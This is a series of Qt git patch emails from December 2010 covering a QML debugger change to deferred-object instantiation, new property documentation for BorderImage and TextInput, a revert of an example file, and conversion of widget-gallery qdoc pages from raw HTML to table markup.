From: Christiaan Janssen Date: Fri, 10 Dec 2010 11:47:43 +0100 Subject: QmlDebugger: Instantiation of deferred objects moved to the debugger engine Reviewed-by: Kai Koehne --- src/declarative/qml/qdeclarativecompiler.cpp | 6 +----- src/declarative/qml/qdeclarativeenginedebug.cpp | 22 ++++++++++++++++------ src/declarative/qml/qdeclarativeenginedebug_p.h | 1 + 3 files changed, 18 insertions(+), 11 deletions(-) diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp index b375b27..4749bf8 100644 --- a/src/declarative/qml/qdeclarativecompiler.cpp +++ b/src/declarative/qml/qdeclarativecompiler.cpp @@ -65,7 +65,6 @@ #include "private/qdeclarativebinding_p.h" #include "private/qdeclarativecompiledbindings_p.h" #include "private/qdeclarativeglobalscriptclass_p.h" -#include "private/qdeclarativedebugservice_p.h" #include #include @@ -755,10 +754,7 @@ bool QDeclarativeCompiler::buildObject(Object *obj, const BindingContext &ctxt) QList customProps; // Fetch the list of deferred properties - QStringList deferredList; - if (!QDeclarativeDebugService::isDebuggingEnabled()) { - deferredList = deferredProperties(obj); - } + QStringList deferredList = deferredProperties(obj); // Must do id property first. This is to ensure that the id given to any // id reference created matches the order in which the objects are diff --git a/src/declarative/qml/qdeclarativeenginedebug.cpp b/src/declarative/qml/qdeclarativeenginedebug.cpp index bffe681..5f338db 100644 --- a/src/declarative/qml/qdeclarativeenginedebug.cpp +++ b/src/declarative/qml/qdeclarativeenginedebug.cpp @@ -192,11 +192,6 @@ void QDeclarativeEngineDebugServer::buildObjectDump(QDataStream &message, { message << objectData(object); - // Some children aren't added to an object until particular properties are read - // - e.g. child state objects aren't added until the 'states' property is read - - // but this should only affect internal objects that aren't shown by the - // debugger anyway. - QObjectList children = object->children(); int childrenCount = children.count(); @@ -257,6 +252,18 @@ void QDeclarativeEngineDebugServer::buildObjectDump(QDataStream &message, message << fakeProperties[ii]; } +void QDeclarativeEngineDebugServer::prepareDeferredObjects(QObject *obj) +{ + qmlExecuteDeferred(obj); + + QObjectList children = obj->children(); + for (int ii = 0; ii < children.count(); ++ii) { + QObject *child = children.at(ii); + prepareDeferredObjects(child); + } + +} + void QDeclarativeEngineDebugServer::buildObjectList(QDataStream &message, QDeclarativeContext *ctxt) { QDeclarativeContextData *p = QDeclarativeContextData::get(ctxt); @@ -393,8 +400,11 @@ void QDeclarativeEngineDebugServer::messageReceived(const QByteArray &message) QDataStream rs(&reply, QIODevice::WriteOnly); rs << QByteArray("FETCH_OBJECT_R") << queryId; - if (object) + if (object) { + if (recurse) + prepareDeferredObjects(object); buildObjectDump(rs, object, recurse, dumpProperties); + } sendMessage(reply); } else if (type == "WATCH_OBJECT") { diff --git a/src/declarative/qml/qdeclarativeenginedebug_p.h b/src/declarative/qml/qdeclarativeenginedebug_p.h index 97b8121..dc8bc85 100644 --- a/src/declarative/qml/qdeclarativeenginedebug_p.h +++ b/src/declarative/qml/qdeclarativeenginedebug_p.h @@ -105,6 +105,7 @@ private Q_SLOTS: void propertyChanged(int id, int objectId, const QMetaProperty &property, const QVariant &value); private: + void prepareDeferredObjects(QObject *); void buildObjectList(QDataStream &, QDeclarativeContext *); void buildObjectDump(QDataStream &, QObject *, bool, bool); QDeclarativeObjectData objectData(QObject *); -- cgit v0.12 From 3006bdd1eab665d3a0e666975246d2fb20b578af Mon Sep 17 00:00:00 2001 From: Christopher Ham Date: Mon, 13 Dec 2010 09:34:04 +1000 Subject: Adding documentation for borderImage Documentation describing the read-only behaviour of property sourceSize Task-number: QTBUG-15703 Reviewed-by: Martin Jones --- src/declarative/graphicsitems/qdeclarativeborderimage.cpp | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp index d9ba2bd..63b2b9a 100644 --- a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp @@ -236,6 +236,16 @@ QDeclarativeBorderImage::~QDeclarativeBorderImage() \sa QDeclarativeImageProvider */ + +/*! + \qmlproperty QSize BorderImage::sourceSize + + This property holds the actual width and height of the loaded image. + + In BorderImage, this property is read-only. + + \sa Image::sourceSize +*/ void QDeclarativeBorderImage::setSource(const QUrl &url) { Q_D(QDeclarativeBorderImage); -- cgit v0.12 From 409f60f0f6fd2c2bad6125d0463c812ba1b1180a Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Mon, 13 Dec 2010 15:34:23 +1000 Subject: Document TextInput property maximumLength Task-number: Reviewed-by: Martin Jones --- src/declarative/graphicsitems/qdeclarativetextinput.cpp | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/src/declarative/graphicsitems/qdeclarativetextinput.cpp b/src/declarative/graphicsitems/qdeclarativetextinput.cpp index 0deacf8..2fb7ace 100644 --- a/src/declarative/graphicsitems/qdeclarativetextinput.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextinput.cpp @@ -361,6 +361,14 @@ void QDeclarativeTextInput::setReadOnly(bool ro) emit readOnlyChanged(ro); } +/*! + \qmlproperty int TextInput::maximumLength + The maximum permitted length of the text in the TextInput. + + If the text is too long, it is truncated at the limit. + + By default, this property contains a value of 32767. +*/ int QDeclarativeTextInput::maxLength() const { Q_D(const QDeclarativeTextInput); -- cgit v0.12 From b3666a5ac8ee295adc86d8d20f5452eaad3063aa Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Mon, 13 Dec 2010 17:05:45 +1000 Subject: Revert "Add mirroring-positioners.qml example" that was accidentally pushed This reverts commit 18b940539d0633f30ae055feedb48aeb15969814. --- .../positioners/mirroring-positioners.qml | 70 ---------------------- 1 file changed, 70 deletions(-) delete mode 100644 examples/declarative/positioners/mirroring-positioners.qml diff --git a/examples/declarative/positioners/mirroring-positioners.qml b/examples/declarative/positioners/mirroring-positioners.qml deleted file mode 100644 index 0db95dd..0000000 --- a/examples/declarative/positioners/mirroring-positioners.qml +++ /dev/null @@ -1,70 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: column.width+10 - height: column.height+10 - property bool arabic: false - Column { - id: column - spacing: 10 - anchors.centerIn: parent - Text { - text: "Row" - anchors.horizontalCenter: parent.horizontalCenter - } - Row { - flow: arabic ? Row.RightToLeft : Row.LeftToRight - spacing: 10 - Repeater { - model: 4 - Loader { - property int value: index - sourceComponent: delegate - } - } - } - Text { - text: "Grid" - anchors.horizontalCenter: parent.horizontalCenter - } - Grid { - flow: arabic ? Grid.RightToLeft : Grid.LeftToRight - spacing: 10; columns: 4 - Repeater { - model: 11 - Loader { - property int value: index - sourceComponent: delegate - } - } - } - Rectangle { - height: 50; width: parent.width - color: mouseArea.pressed ? "black" : "gray" - Text { - text: arabic ? "RTL" : "LTR" - color: "white" - font.pixelSize: 20 - anchors.centerIn: parent - } - MouseArea { - id: mouseArea - onClicked: arabic = !arabic - anchors.fill: parent - } - } - } - Component { - id: delegate - Rectangle { - width: 50; height: 50 - color: Qt.rgba(0.8/(parent.value+1),0.8/(parent.value+1),0.8/(parent.value+1),1.0) - Text { - text: parent.parent.value+1 - color: "white" - font.pixelSize: 20 - anchors.centerIn: parent - } - } - } -} -- cgit v0.12 From db13511196f94e61c8c679448b6182f09b6ce539 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 13 Dec 2010 10:16:07 +0100 Subject: doc: Eliminated some "raw-html" cases. More to come. --- doc/src/widgets-and-layouts/gallery-cde.qdoc | 427 ++++++--------------------- 1 file changed, 91 insertions(+), 336 deletions(-) diff --git a/doc/src/widgets-and-layouts/gallery-cde.qdoc b/doc/src/widgets-and-layouts/gallery-cde.qdoc index c783399..69287b9 100644 --- a/doc/src/widgets-and-layouts/gallery-cde.qdoc +++ b/doc/src/widgets-and-layouts/gallery-cde.qdoc @@ -34,345 +34,100 @@ This page shows some of the widgets available in Qt when configured to use the "cde" style. -\raw HTML -

    Buttons

    +\section2 Buttons - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage cde-pushbutton.png -\raw HTML - -\endraw -\inlineimage cde-toolbutton.png -\raw HTML -
    -\endraw -The QPushButton widget provides a command button. -\raw HTML - -\endraw -\raw HTML -
    -\endraw -\inlineimage cde-checkbox.png -\raw HTML - -\endraw -\inlineimage cde-radiobutton.png -\raw HTML -
    -\endraw -The QCheckBox widget provides a checkbox with a text label.\raw HTML - -\endraw -The QRadioButton widget provides a radio button with a text or pixmap label.\raw HTML -
    -\endraw -\raw HTML -

    Containers

    +\table 100% +\row +\o \image cde-checkbox.png + \caption The QCheckBox widget provides a checkbox with a text label. +\o \image cde-radiobutton.png + \caption The QRadioButton widget provides a radio button with a text or pixmap label. +\o \image cde-pushbutton.png + \image cde-toolbutton.png + \caption The QPushButton widget provides a command button. +\endtable - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage cde-groupbox.png -\raw HTML - -\endraw -\inlineimage cde-tabwidget.png -\raw HTML -
    -\endraw -The QGroupBox widget provides a group box frame with a title.\raw HTML - -\endraw -The QTabWidget class provides a stack of tabbed widgets.\raw HTML -
    -\endraw -\inlineimage cde-frame.png -\raw HTML - -\endraw -\inlineimage cde-toolbox.png -\raw HTML -
    -\endraw -The QFrame widget provides a simple decorated container for other widgets.\raw HTML - -\endraw -The QToolBox class provides a column of tabbed widget items.\raw HTML -
    -\endraw -\raw HTML -

    Item Views

    +\section2 Containers - -- - - - - - - - - - - - - - - -
    -\endraw -\inlineimage cde-listview.png -\raw HTML - -\endraw -\inlineimage cde-treeview.png -\raw HTML -
    -\endraw -The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view.\raw HTML - -\endraw -The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view.\raw HTML -
    -\endraw -\inlineimage cde-tableview.png -\raw HTML -
    -\endraw -The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\raw HTML -
    -\endraw -\raw HTML -

    Display Widgets

    +\table 100% +\row +\o \image cde-groupbox.png + The The QGroupBox widget provides a group box frame with a title. +\o \image cde-tabwidget.png + The QTabWidget class provides a stack of tabbed widgets. +\o \image cde-frame.png + The QFrame widget provides a simple decorated container for other widgets. +\o \image cde-toolbox.png + The QToolBox class provides a column of tabbed widget items. +\endtable - -- - - - - - - - - - - - - - - -
    -\endraw -\inlineimage cde-progressbar.png -\raw HTML - -\endraw -\inlineimage cde-lcdnumber.png -\raw HTML -
    -\endraw -The QProgressBar widget provides a horizontal progress bar.\raw HTML - -\endraw -The QLCDNumber widget displays a number with LCD-like digits.\raw HTML -
    -\endraw -\inlineimage cde-label.png -\raw HTML -
    -\endraw -The QLabel widget provides a text or image display.\raw HTML -
    -\endraw -\raw HTML -

    Input Widgets

    +\section2 Item Views + +\table 100% +\row +\o \image cde-listview.png + The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view. +\o \image cde-treeview.png + The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view. +\o \image cde-tableview.png + The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\o +\o +\endtable + +\section2 Display Widgets + +\table 100% +\row +\o \image cde-progressbar.png + The QProgressBar widget provides a horizontal progress bar. +\o \image cde-label.png + The QLabel widget provides a text or image display. +\o \image cde-lcdnumber.png + The QLCDNumber widget displays a number with LCD-like digits. +\endtable + +\section2 Input Widgets + +\table 100% +\row +\o \image cde-lineedit.png + The QLineEdit widget is a one-line text editor. +\o \image cde-dateedit.png + The QDateEdit class provides a widget for editing dates. +\o \image cde-timeedit.png + The QTimeEdit class provides a widget for editing times. +\o \image cde-datetimeedit.png + The QDateTimeEdit class provides a widget for editing dates and times. +\endtable + +\table 100% +\row +\o \image cde-slider.png + The QSlider widget provides a vertical or horizontal slider. +\o \image cde-combobox.png + The QComboBox widget is a combined button and pop-up list. +\o \image cde-spinbox.png + The QSpinBox class provides a spin box widget. +\endtable + +\table 100% +\row +\o \image cde-fontcombobox.png + The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts. +\o \image cde-doublespinbox.png + The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered. +\o \image cde-horizontalscrollbar.png + The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation. +\endtable + +\table 100% +\row +\o \image cde-dial.png + The QDial class provides a rounded range control (like a speedometer or potentiometer). +\o \image cde-textedit.png + The QTextEdit class provides a widget that is used to edit and display both plain and rich text. +\o \image cde-calendarwidget.png + The QCalendarWidget class provides a monthly calendar widget that can be used to select dates. +\endtable - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage cde-slider.png -\raw HTML - -\endraw -\inlineimage cde-lineedit.png -\raw HTML -
    -\endraw -The QSlider widget provides a vertical or horizontal slider.\raw HTML - -\endraw -The QLineEdit widget is a one-line text editor.\raw HTML -
    -\endraw -\inlineimage cde-combobox.png -\raw HTML - -\endraw -\inlineimage cde-doublespinbox.png -\raw HTML -
    -\endraw -The QComboBox widget is a combined button and pop-up list.\raw HTML - -\endraw -The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered.\raw HTML -
    -\endraw -\inlineimage cde-spinbox.png -\raw HTML - -\endraw -\inlineimage cde-timeedit.png -\raw HTML -
    -\endraw -The QSpinBox class provides a spin box widget.\raw HTML - -\endraw -The QTimeEdit class provides a widget for editing times.\raw HTML -
    -\endraw -\inlineimage cde-dateedit.png -\raw HTML - -\endraw -\inlineimage cde-datetimeedit.png -\raw HTML -
    -\endraw -The QDateEdit class provides a widget for editing dates.\raw HTML - -\endraw -The QDateTimeEdit class provides a widget for editing dates and times.\raw HTML -
    -\endraw -\inlineimage cde-textedit.png -\raw HTML - -\endraw -\inlineimage cde-horizontalscrollbar.png -\raw HTML -
    -\endraw -The QTextEdit class provides a widget that is used to edit and - display both plain and rich text.\raw HTML - -\endraw -The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation.\raw HTML -
    -\endraw -\inlineimage cde-dial.png -\raw HTML - -\endraw -\inlineimage cde-calendarwidget.png -\raw HTML -
    -\endraw -The QDial class provides a rounded range control (like a - speedometer or potentiometer).\raw HTML - -\endraw -The QCalendarWidget class provides a monthly calendar widget that can be used to select dates.\raw HTML -
    -\endraw -\inlineimage cde-fontcombobox.png -\raw HTML -
    -\endraw -The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts.\raw HTML -
    -\endraw */ -- cgit v0.12 From ba8e841523f005bddca581d70ef0883c5a26f47a Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 13 Dec 2010 11:34:49 +0100 Subject: doc: Replaced some \raw and \endraw uses with \table and \endtable In DITA XML, there is no straightforward way to translate raw html into DITA XML, because the XML stream writer automagically escapes all the raw html elements. So I am beginning to replace uses of the \raw command with \table, which gets output correctly. The problem is the XML stream writer must see each XML element start and end, because it keeps them on a stack. When you output XML elements with the writeCharacters() function, it escapes the '<' and '>' of any XML elements the character string contains. --- .../widgets-and-layouts/gallery-cleanlooks.qdoc | 432 +++++--------------- doc/src/widgets-and-layouts/gallery-gtk.qdoc | 436 +++++---------------- doc/src/widgets-and-layouts/gallery-macintosh.qdoc | 432 +++++--------------- doc/src/widgets-and-layouts/gallery-motif.qdoc | 432 +++++--------------- doc/src/widgets-and-layouts/gallery-plastique.qdoc | 432 +++++--------------- doc/src/widgets-and-layouts/gallery-windows.qdoc | 432 +++++--------------- .../widgets-and-layouts/gallery-windowsvista.qdoc | 432 +++++--------------- doc/src/widgets-and-layouts/gallery-windowsxp.qdoc | 432 +++++--------------- 8 files changed, 768 insertions(+), 2692 deletions(-) diff --git a/doc/src/widgets-and-layouts/gallery-cleanlooks.qdoc b/doc/src/widgets-and-layouts/gallery-cleanlooks.qdoc index d03adc8..59e2934 100644 --- a/doc/src/widgets-and-layouts/gallery-cleanlooks.qdoc +++ b/doc/src/widgets-and-layouts/gallery-cleanlooks.qdoc @@ -34,345 +34,105 @@ This page shows some of the widgets available in Qt when configured to use the "cleanlooks" style. -\raw HTML -

    Buttons

    +\section2 Buttons - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage cleanlooks-pushbutton.png -\raw HTML - -\endraw -\inlineimage cleanlooks-toolbutton.png -\raw HTML -
    -\endraw -The QPushButton widget provides a command button.\raw HTML - -\endraw -The QToolButton class provides a quick-access button to commands - or options, usually used inside a QToolBar.\raw HTML -
    -\endraw -\inlineimage cleanlooks-checkbox.png -\raw HTML - -\endraw -\inlineimage cleanlooks-radiobutton.png -\raw HTML -
    -\endraw -The QCheckBox widget provides a checkbox with a text label.\raw HTML - -\endraw -The QRadioButton widget provides a radio button with a text or pixmap label.\raw HTML -
    -\endraw -\raw HTML -

    Containers

    +\table 100% +\row +\o \image cleanlooks-pushbutton.png + \caption The QPushButton widget provides a command button. +\o \image cleanlooks-toolbutton.png + \caption The QToolButton class provides a quick-access button to commands + or options, usually used inside a QToolBar. +\endtable - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage cleanlooks-groupbox.png -\raw HTML - -\endraw -\inlineimage cleanlooks-tabwidget.png -\raw HTML -
    -\endraw -The QGroupBox widget provides a group box frame with a title.\raw HTML - -\endraw -The QTabWidget class provides a stack of tabbed widgets.\raw HTML -
    -\endraw -\inlineimage cleanlooks-frame.png -\raw HTML - -\endraw -\inlineimage cleanlooks-toolbox.png -\raw HTML -
    -\endraw -The QFrame widget provides a simple decorated container for other widgets.\raw HTML - -\endraw -The QToolBox class provides a column of tabbed widget items.\raw HTML -
    -\endraw -\raw HTML -

    Item Views

    +\table 100% +\row +\o \image cleanlooks-checkbox.png + \caption The QCheckBox widget provides a checkbox with a text label. +\o \image cleanlooks-radiobutton.png + \caption The QRadioButton widget provides a radio button with a text or pixmap label. +\endtable - -- - - - - - - - - - - - - - - -
    -\endraw -\inlineimage cleanlooks-listview.png -\raw HTML - -\endraw -\inlineimage cleanlooks-treeview.png -\raw HTML -
    -\endraw -The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view.\raw HTML - -\endraw -The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view.\raw HTML -
    -\endraw -\inlineimage cleanlooks-tableview.png -\raw HTML -
    -\endraw -The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\raw HTML -
    -\endraw -\raw HTML -

    Display Widgets

    +\section2 Containers - -- - - - - - - - - - - - - - - -
    -\endraw -\inlineimage cleanlooks-progressbar.png -\raw HTML - -\endraw -\inlineimage cleanlooks-lcdnumber.png -\raw HTML -
    -\endraw -The QProgressBar widget provides a horizontal progress bar.\raw HTML - -\endraw -The QLCDNumber widget displays a number with LCD-like digits.\raw HTML -
    -\endraw -\inlineimage cleanlooks-label.png -\raw HTML -
    -\endraw -The QLabel widget provides a text or image display.\raw HTML -
    -\endraw -\raw HTML -

    Input Widgets

    +\table 100% +\row +\o \image cleanlooks-groupbox.png + The The QGroupBox widget provides a group box frame with a title. +\o \image cleanlooks-tabwidget.png + The QTabWidget class provides a stack of tabbed widgets. +\o \image cleanlooks-frame.png + The QFrame widget provides a simple decorated container for other widgets. +\o \image cleanlooks-toolbox.png + The QToolBox class provides a column of tabbed widget items. +\endtable - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage cleanlooks-slider.png -\raw HTML - -\endraw -\inlineimage cleanlooks-lineedit.png -\raw HTML -
    -\endraw -The QSlider widget provides a vertical or horizontal slider.\raw HTML - -\endraw -The QLineEdit widget is a one-line text editor.\raw HTML -
    -\endraw -\inlineimage cleanlooks-combobox.png -\raw HTML - -\endraw -\inlineimage cleanlooks-doublespinbox.png -\raw HTML -
    -\endraw -The QComboBox widget is a combined button and pop-up list.\raw HTML - -\endraw -The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered.\raw HTML -
    -\endraw -\inlineimage cleanlooks-spinbox.png -\raw HTML - -\endraw -\inlineimage cleanlooks-timeedit.png -\raw HTML -
    -\endraw -The QSpinBox class provides a spin box widget.\raw HTML - -\endraw -The QTimeEdit class provides a widget for editing times.\raw HTML -
    -\endraw -\inlineimage cleanlooks-dateedit.png -\raw HTML - -\endraw -\inlineimage cleanlooks-datetimeedit.png -\raw HTML -
    -\endraw -The QDateEdit class provides a widget for editing dates.\raw HTML - -\endraw -The QDateTimeEdit class provides a widget for editing dates and times.\raw HTML -
    -\endraw -\inlineimage cleanlooks-textedit.png -\raw HTML - -\endraw -\inlineimage cleanlooks-horizontalscrollbar.png -\raw HTML -
    -\endraw -The QTextEdit class provides a widget that is used to edit and - display both plain and rich text.\raw HTML - -\endraw -The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation.\raw HTML -
    -\endraw -\inlineimage cleanlooks-dial.png -\raw HTML - -\endraw -\inlineimage cleanlooks-calendarwidget.png -\raw HTML -
    -\endraw -The QDial class provides a rounded range control (like a - speedometer or potentiometer).\raw HTML - -\endraw -The QCalendarWidget class provides a monthly calendar widget that can be used to select dates.\raw HTML -
    -\endraw -\inlineimage cleanlooks-fontcombobox.png -\raw HTML -
    -\endraw -The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts.\raw HTML -
    -\endraw +\section2 Item Views + +\table 100% +\row +\o \image cleanlooks-listview.png + The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view. +\o \image cleanlooks-treeview.png + The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view. +\o \image cleanlooks-tableview.png + The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\o +\o +\endtable + +\section2 Display Widgets + +\table 100% +\row +\o \image cleanlooks-progressbar.png + The QProgressBar widget provides a horizontal progress bar. +\o \image cleanlooks-label.png + The QLabel widget provides a text or image display. +\o \image cleanlooks-lcdnumber.png + The QLCDNumber widget displays a number with LCD-like digits. +\endtable + +\section2 Input Widgets + +\table 100% +\row +\o \image cleanlooks-lineedit.png + The QLineEdit widget is a one-line text editor. +\o \image cleanlooks-dateedit.png + The QDateEdit class provides a widget for editing dates. +\o \image cleanlooks-timeedit.png + The QTimeEdit class provides a widget for editing times. +\o \image cleanlooks-datetimeedit.png + The QDateTimeEdit class provides a widget for editing dates and times. +\endtable + +\table 100% +\row +\o \image cleanlooks-slider.png + The QSlider widget provides a vertical or horizontal slider. +\o \image cleanlooks-combobox.png + The QComboBox widget is a combined button and pop-up list. +\o \image cleanlooks-spinbox.png + The QSpinBox class provides a spin box widget. +\endtable + +\table 100% +\row +\o \image cleanlooks-fontcombobox.png + The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts. +\o \image cleanlooks-doublespinbox.png + The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered. +\o \image cleanlooks-horizontalscrollbar.png + The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation. +\endtable + +\table 100% +\row +\o \image cleanlooks-dial.png + The QDial class provides a rounded range control (like a speedometer or potentiometer). +\o \image cleanlooks-textedit.png + The QTextEdit class provides a widget that is used to edit and display both plain and rich text. +\o \image cleanlooks-calendarwidget.png + The QCalendarWidget class provides a monthly calendar widget that can be used to select dates. +\endtable */ diff --git a/doc/src/widgets-and-layouts/gallery-gtk.qdoc b/doc/src/widgets-and-layouts/gallery-gtk.qdoc index b3a6372..b2f8458 100644 --- a/doc/src/widgets-and-layouts/gallery-gtk.qdoc +++ b/doc/src/widgets-and-layouts/gallery-gtk.qdoc @@ -37,349 +37,105 @@ Take a look at the \l{Qt Widget Gallery} to see how Qt applications appear in other styles. -\raw HTML -

    Buttons

    +\section2 Buttons - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage gtk-pushbutton.png -\raw HTML - -\endraw -\inlineimage gtk-toolbutton.png -\raw HTML -
    -\endraw -The QPushButton widget provides a command button.\raw HTML - -\endraw -The QToolButton class provides a quick-access button to commands - or options, usually used inside a QToolBar.\raw HTML -
    -\endraw -\inlineimage gtk-checkbox.png -\raw HTML - -\endraw -\inlineimage gtk-radiobutton.png -\raw HTML -
    -\endraw -The QCheckBox widget provides a checkbox with a text label.\raw HTML - -\endraw -The QRadioButton widget provides a radio button with a text or pixmap label.\raw HTML -
    -\endraw -\raw HTML -

    Containers

    +\table 100% +\row +\o \image gtk-pushbutton.png + \caption The QPushButton widget provides a command button. +\o \image gtk-toolbutton.png + \caption The QToolButton class provides a quick-access button to commands + or options, usually used inside a QToolBar. +\endtable - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage gtk-groupbox.png -\raw HTML - -\endraw -\inlineimage gtk-tabwidget.png -\raw HTML -
    -\endraw -The QGroupBox widget provides a group box frame with a title.\raw HTML - -\endraw -The QTabWidget class provides a stack of tabbed widgets.\raw HTML -
    -\endraw -\inlineimage gtk-toolbox.png -\raw HTML - -\endraw -\inlineimage gtk-frame.png -\raw HTML -
    -\endraw -The QToolBox class provides a column of tabbed widget items.\raw HTML - -\endraw -The QFrame widget provides a simple decorated container for other widgets.\raw HTML -
    -\endraw -\raw HTML -

    Item Views

    +\table 100% +\row +\o \image gtk-checkbox.png + \caption The QCheckBox widget provides a checkbox with a text label. +\o \image gtk-radiobutton.png + \caption The QRadioButton widget provides a radio button with a text or pixmap label. +\endtable - -- - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage gtk-listview.png -\raw HTML - -\endraw -\inlineimage gtk-treeview.png -\raw HTML -
    -\endraw -The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view.\raw HTML - -\endraw -The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view.\raw HTML -
    -\endraw -\inlineimage gtk-tableview.png -\raw HTML -
    -\endraw -The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\raw HTML - -\endraw -\raw HTML -
    -\endraw -\raw HTML -

    Display Widgets

    +\section2 Containers - -- - - - - - - - - - - - - - - -
    -\endraw -\inlineimage gtk-progressbar.png -\raw HTML - -\endraw -\inlineimage gtk-lcdnumber.png -\raw HTML -
    -\endraw -The QProgressBar widget provides a horizontal progress bar.\raw HTML - -\endraw -The QLCDNumber widget displays a number with LCD-like digits.\raw HTML -
    -\endraw -\inlineimage gtk-label.png -\raw HTML -
    -\endraw -The QLabel widget provides a text or image display.\raw HTML -
    -\endraw -\raw HTML -

    Input Widgets

    +\table 100% +\row +\o \image gtk-groupbox.png + The The QGroupBox widget provides a group box frame with a title. +\o \image gtk-tabwidget.png + The QTabWidget class provides a stack of tabbed widgets. +\o \image gtk-frame.png + The QFrame widget provides a simple decorated container for other widgets. +\o \image gtk-toolbox.png + The QToolBox class provides a column of tabbed widget items. +\endtable - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage gtk-slider.png -\raw HTML - -\endraw -\inlineimage gtk-lineedit.png -\raw HTML -
    -\endraw -The QSlider widget provides a vertical or horizontal slider.\raw HTML - -\endraw -The QLineEdit widget is a one-line text editor.\raw HTML -
    -\endraw -\inlineimage gtk-combobox.png -\raw HTML - -\endraw -\inlineimage gtk-doublespinbox.png -\raw HTML -
    -\endraw -The QComboBox widget is a combined button and pop-up list.\raw HTML - -\endraw -The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered.\raw HTML -
    -\endraw -\inlineimage gtk-spinbox.png -\raw HTML - -\endraw -\inlineimage gtk-timeedit.png -\raw HTML -
    -\endraw -The QSpinBox class provides a spin box widget.\raw HTML - -\endraw -The QTimeEdit class provides a widget for editing times.\raw HTML -
    -\endraw -\inlineimage gtk-dateedit.png -\raw HTML - -\endraw -\inlineimage gtk-datetimeedit.png -\raw HTML -
    -\endraw -The QDateEdit class provides a widget for editing dates.\raw HTML - -\endraw -The QDateTimeEdit class provides a widget for editing dates and times.\raw HTML -
    -\endraw -\inlineimage gtk-textedit.png -\raw HTML - -\endraw -\inlineimage gtk-horizontalscrollbar.png -\raw HTML -
    -\endraw -The QTextEdit class provides a widget that is used to edit and - display both plain and rich text.\raw HTML - -\endraw -The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation.\raw HTML -
    -\endraw -\inlineimage gtk-dial.png -\raw HTML - -\endraw -\inlineimage gtk-calendarwidget.png -\raw HTML -
    -\endraw -The QDial class provides a rounded range control (like a - speedometer or potentiometer).\raw HTML - -\endraw -The QCalendarWidget class provides a monthly calendar widget that can be used to select dates.\raw HTML -
    -\endraw -\inlineimage gtk-fontcombobox.png -\raw HTML -
    -\endraw -The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts.\raw HTML -
